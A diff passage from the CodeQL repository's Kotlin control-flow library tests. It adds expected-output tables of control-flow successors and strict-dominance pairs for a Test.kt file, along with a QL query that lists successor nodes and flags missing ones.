+| Test.kt:95:4:97:2 | catch (...) | CatchClause | Test.kt:95:11:95:33 | e | LocalVariableDeclExpr |
+| Test.kt:95:11:95:33 | NullPointerException | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:95:11:95:33 | NullPointerException e | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:95:11:95:33 | e | LocalVariableDeclExpr | Test.kt:95:36:97:2 | { ... } | BlockStmt |
+| Test.kt:95:36:97:2 | { ... } | BlockStmt | Test.kt:96:10:96:10 | 2 | IntegerLiteral |
+| Test.kt:96:3:96:10 | return ... | ReturnStmt | Test.kt:91:1:98:1 | t2 | Method |
+| Test.kt:96:10:96:10 | 2 | IntegerLiteral | Test.kt:96:3:96:10 | return ... | ReturnStmt |
+| Test.kt:100:1:110:1 | Unit | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:100:1:110:1 | fn | Method | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:100:8:100:13 | Object | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:100:8:100:13 | x | Parameter | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:100:16:100:22 | Object | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:100:16:100:22 | y | Parameter | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:100:25:110:1 | { ... } | BlockStmt | Test.kt:101:5:103:5 | <Expr>; | ExprStmt |
+| Test.kt:101:5:103:5 | ... -> ... | WhenBranch | Test.kt:101:9:101:30 | ... && ... | AndLogicalExpr |
+| Test.kt:101:5:103:5 | <Expr>; | ExprStmt | Test.kt:101:5:103:5 | when ... | WhenExpr |
+| Test.kt:101:5:103:5 | when ... | WhenExpr | Test.kt:101:5:103:5 | ... -> ... | WhenBranch |
+| Test.kt:101:9:101:9 | x | VarAccess | Test.kt:101:14:101:17 | null | NullLiteral |
+| Test.kt:101:9:101:17 | ... (value equals) ... | ValueEQExpr | Test.kt:101:22:101:22 | y | VarAccess |
+| Test.kt:101:9:101:17 | ... (value equals) ... | ValueEQExpr | Test.kt:105:5:109:5 | <Expr>; | ExprStmt |
+| Test.kt:101:9:101:30 | ... && ... | AndLogicalExpr | Test.kt:101:9:101:9 | x | VarAccess |
+| Test.kt:101:14:101:17 | null | NullLiteral | Test.kt:101:9:101:17 | ... (value equals) ... | ValueEQExpr |
+| Test.kt:101:22:101:22 | y | VarAccess | Test.kt:101:27:101:30 | null | NullLiteral |
+| Test.kt:101:22:101:30 | ... (value equals) ... | ValueEQExpr | Test.kt:101:33:103:5 | { ... } | BlockStmt |
+| Test.kt:101:22:101:30 | ... (value equals) ... | ValueEQExpr | Test.kt:105:5:109:5 | <Expr>; | ExprStmt |
+| Test.kt:101:27:101:30 | null | NullLiteral | Test.kt:101:22:101:30 | ... (value equals) ... | ValueEQExpr |
+| Test.kt:101:33:103:5 | { ... } | BlockStmt | Test.kt:102:15:102:25 | new Exception(...) | ClassInstanceExpr |
+| Test.kt:102:9:102:25 | throw ... | ThrowStmt | Test.kt:100:1:110:1 | fn | Method |
+| Test.kt:102:15:102:25 | Exception | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:102:15:102:25 | new Exception(...) | ClassInstanceExpr | Test.kt:102:9:102:25 | throw ... | ThrowStmt |
+| Test.kt:105:5:109:5 | <Expr>; | ExprStmt | Test.kt:105:5:109:5 | when ... | WhenExpr |
+| Test.kt:105:5:109:5 | when ... | WhenExpr | Test.kt:105:9:107:5 | ... -> ... | WhenBranch |
+| Test.kt:105:9:105:9 | x | VarAccess | Test.kt:105:14:105:17 | null | NullLiteral |
+| Test.kt:105:9:105:17 | ... (value not-equals) ... | ValueNEExpr | Test.kt:105:20:107:5 | { ... } | BlockStmt |
+| Test.kt:105:9:105:17 | ... (value not-equals) ... | ValueNEExpr | Test.kt:107:16:109:5 | ... -> ... | WhenBranch |
+| Test.kt:105:9:107:5 | ... -> ... | WhenBranch | Test.kt:105:9:105:9 | x | VarAccess |
+| Test.kt:105:14:105:17 | null | NullLiteral | Test.kt:105:9:105:17 | ... (value not-equals) ... | ValueNEExpr |
+| Test.kt:105:20:107:5 | { ... } | BlockStmt | Test.kt:106:9:106:29 | <Expr>; | ExprStmt |
+| Test.kt:106:9:106:29 | <Expr>; | ExprStmt | Test.kt:106:18:106:27 | x not null | StringLiteral |
+| Test.kt:106:9:106:29 | ConsoleKt | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:106:9:106:29 | println(...) | MethodAccess | Test.kt:100:1:110:1 | fn | Method |
+| Test.kt:106:18:106:27 | x not null | StringLiteral | Test.kt:106:9:106:29 | println(...) | MethodAccess |
+| Test.kt:107:16:107:16 | y | VarAccess | Test.kt:107:21:107:24 | null | NullLiteral |
+| Test.kt:107:16:107:24 | ... (value not-equals) ... | ValueNEExpr | Test.kt:100:1:110:1 | fn | Method |
+| Test.kt:107:16:107:24 | ... (value not-equals) ... | ValueNEExpr | Test.kt:107:27:109:5 | { ... } | BlockStmt |
+| Test.kt:107:16:109:5 | ... -> ... | WhenBranch | Test.kt:107:16:107:16 | y | VarAccess |
+| Test.kt:107:21:107:24 | null | NullLiteral | Test.kt:107:16:107:24 | ... (value not-equals) ... | ValueNEExpr |
+| Test.kt:107:27:109:5 | { ... } | BlockStmt | Test.kt:108:9:108:29 | <Expr>; | ExprStmt |
+| Test.kt:108:9:108:29 | <Expr>; | ExprStmt | Test.kt:108:18:108:27 | y not null | StringLiteral |
+| Test.kt:108:9:108:29 | ConsoleKt | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:108:9:108:29 | println(...) | MethodAccess | Test.kt:100:1:110:1 | fn | Method |
+| Test.kt:108:18:108:27 | y not null | StringLiteral | Test.kt:108:9:108:29 | println(...) | MethodAccess |
+| Test.kt:112:1:116:1 | Unit | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:112:1:116:1 | fn | Method | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:112:8:112:17 | boolean | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:112:8:112:17 | x | Parameter | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:112:20:112:29 | boolean | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:112:20:112:29 | y | Parameter | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:112:32:116:1 | { ... } | BlockStmt | Test.kt:113:5:115:5 | <Expr>; | ExprStmt |
+| Test.kt:113:5:115:5 | ... -> ... | WhenBranch | Test.kt:113:9:113:14 | ... && ... | AndLogicalExpr |
+| Test.kt:113:5:115:5 | <Expr>; | ExprStmt | Test.kt:113:5:115:5 | when ... | WhenExpr |
+| Test.kt:113:5:115:5 | when ... | WhenExpr | Test.kt:113:5:115:5 | ... -> ... | WhenBranch |
+| Test.kt:113:9:113:9 | x | VarAccess | Test.kt:112:1:116:1 | fn | Method |
+| Test.kt:113:9:113:9 | x | VarAccess | Test.kt:113:14:113:14 | y | VarAccess |
+| Test.kt:113:9:113:14 | ... && ... | AndLogicalExpr | Test.kt:113:9:113:9 | x | VarAccess |
+| Test.kt:113:14:113:14 | y | VarAccess | Test.kt:112:1:116:1 | fn | Method |
+| Test.kt:113:14:113:14 | y | VarAccess | Test.kt:113:17:115:5 | { ... } | BlockStmt |
+| Test.kt:113:17:115:5 | { ... } | BlockStmt | Test.kt:112:1:116:1 | fn | Method |
+| Test.kt:118:1:124:1 | Unit | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:118:1:124:1 | fn_when | Method | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:118:13:118:22 | boolean | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:118:13:118:22 | x | Parameter | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:118:25:118:34 | boolean | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:118:25:118:34 | y | Parameter | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:118:37:124:1 | { ... } | BlockStmt | Test.kt:119:2:123:12 | <Expr>; | ExprStmt |
+| Test.kt:119:2:123:12 | <Expr>; | ExprStmt | Test.kt:119:2:123:12 | when ... | WhenExpr |
+| Test.kt:119:2:123:12 | when ... | WhenExpr | Test.kt:120:3:123:10 | ... -> ... | WhenBranch |
+| Test.kt:120:3:123:3 | when ... | WhenExpr | Test.kt:121:4:121:9 | ... -> ... | WhenBranch |
+| Test.kt:120:3:123:10 | ... -> ... | WhenBranch | Test.kt:120:3:123:3 | when ... | WhenExpr |
+| Test.kt:121:4:121:4 | x | VarAccess | Test.kt:121:9:121:9 | <Expr>; | ExprStmt |
+| Test.kt:121:4:121:4 | x | VarAccess | Test.kt:122:12:122:16 | ... -> ... | WhenBranch |
+| Test.kt:121:4:121:9 | ... -> ... | WhenBranch | Test.kt:121:4:121:4 | x | VarAccess |
+| Test.kt:121:9:121:9 | <Expr>; | ExprStmt | Test.kt:121:9:121:9 | y | VarAccess |
+| Test.kt:121:9:121:9 | y | VarAccess | Test.kt:118:1:124:1 | fn_when | Method |
+| Test.kt:121:9:121:9 | y | VarAccess | Test.kt:123:8:123:10 | { ... } | BlockStmt |
+| Test.kt:122:12:122:16 | ... -> ... | WhenBranch | Test.kt:122:12:122:16 | true | BooleanLiteral |
+| Test.kt:122:12:122:16 | <Expr>; | ExprStmt | Test.kt:122:12:122:16 | false | BooleanLiteral |
+| Test.kt:122:12:122:16 | false | BooleanLiteral | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:122:12:122:16 | true | BooleanLiteral | Test.kt:122:12:122:16 | <Expr>; | ExprStmt |
+| Test.kt:123:8:123:10 | { ... } | BlockStmt | Test.kt:118:1:124:1 | fn_when | Method |
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/getASuccessor.ql b/java/ql/test/kotlin/library-tests/controlflow/basic/getASuccessor.ql
new file mode 100644
index 00000000000..b5943b47128
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/getASuccessor.ql
@@ -0,0 +1,54 @@
+import java
+
+newtype TMaybeControlFlowNode =
+  TControlFlowNode(ControlFlowNode c) or
+  TNoControlFlowNode()
+
+class MaybeControlFlowNode extends TMaybeControlFlowNode {
+  abstract string toString();
+
+  abstract Location getLocation();
+
+  abstract string getPrimaryQlClasses();
+}
+
+class YesMaybeControlFlowNode extends MaybeControlFlowNode {
+  ControlFlowNode c;
+
+  YesMaybeControlFlowNode() { this = TControlFlowNode(c) }
+
+  override string toString() { result = c.toString() }
+
+  override Location getLocation() { result = c.getLocation() }
+
+  override string getPrimaryQlClasses() { result = c.getPrimaryQlClasses() }
+}
+
+class NoMaybeControlFlowNode extends MaybeControlFlowNode {
+  NoMaybeControlFlowNode() { this = TNoControlFlowNode() }
+
+  override string toString() { result = "<none>" }
+
+  override Location getLocation() { result.toString() = "file://:0:0:0:0" }
+
+  override string getPrimaryQlClasses() { result = "<none>" }
+}
+
+MaybeControlFlowNode maybeSuccessor(ControlFlowNode n) {
+  if exists(n.getASuccessor())
+  then result = TControlFlowNode(n.getASuccessor())
+  else result = TNoControlFlowNode()
+}
+
+from ControlFlowNode n, MaybeControlFlowNode m
+where
+  m = maybeSuccessor(n) and
+  n.getFile().(CompilationUnit).fromSource()
+select n, n.getPrimaryQlClasses(), m, m.getPrimaryQlClasses()
+
+query predicate missingSuccessor(Expr n) {
+  maybeSuccessor(n) instanceof NoMaybeControlFlowNode and
+  n.getFile().(CompilationUnit).fromSource() and
+  not n instanceof TypeAccess and
+  not n instanceof LValue
+}
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/strictDominance.expected b/java/ql/test/kotlin/library-tests/controlflow/basic/strictDominance.expected
new file mode 100644
index 00000000000..b48a2016130
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/strictDominance.expected
@@ -0,0 +1,566 @@
+| Test.kt:3:1:80:1 | super(...) | Test.kt:3:8:80:1 | { ... } |
+| Test.kt:3:1:80:1 | { ... } | Test.kt:3:1:80:1 | super(...) |
+| Test.kt:3:1:80:1 | { ... } | Test.kt:3:8:80:1 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:21:3:24:9 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:24:4:24:9 | return ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:77:3:77:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:78:3:78:8 | return ... |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:21:3:24:9 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:24:4:24:9 | return ... |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:77:3:77:3 | <Expr>; |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:78:3:78:8 | return ... |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:21:3:24:9 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:24:4:24:9 | return ... |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:77:3:77:3 | <Expr>; |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:78:3:78:8 | return ... |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:21:3:24:9 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:24:4:24:9 | return ... |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:77:3:77:3 | <Expr>; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:78:3:78:8 | return ... |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:21:3:24:9 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:24:4:24:9 | return ... |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:77:3:77:3 | <Expr>; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:78:3:78:8 | return ... |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:21:3:24:9 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:24:4:24:9 | return ... |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:38:16:41:3 | { ... } |
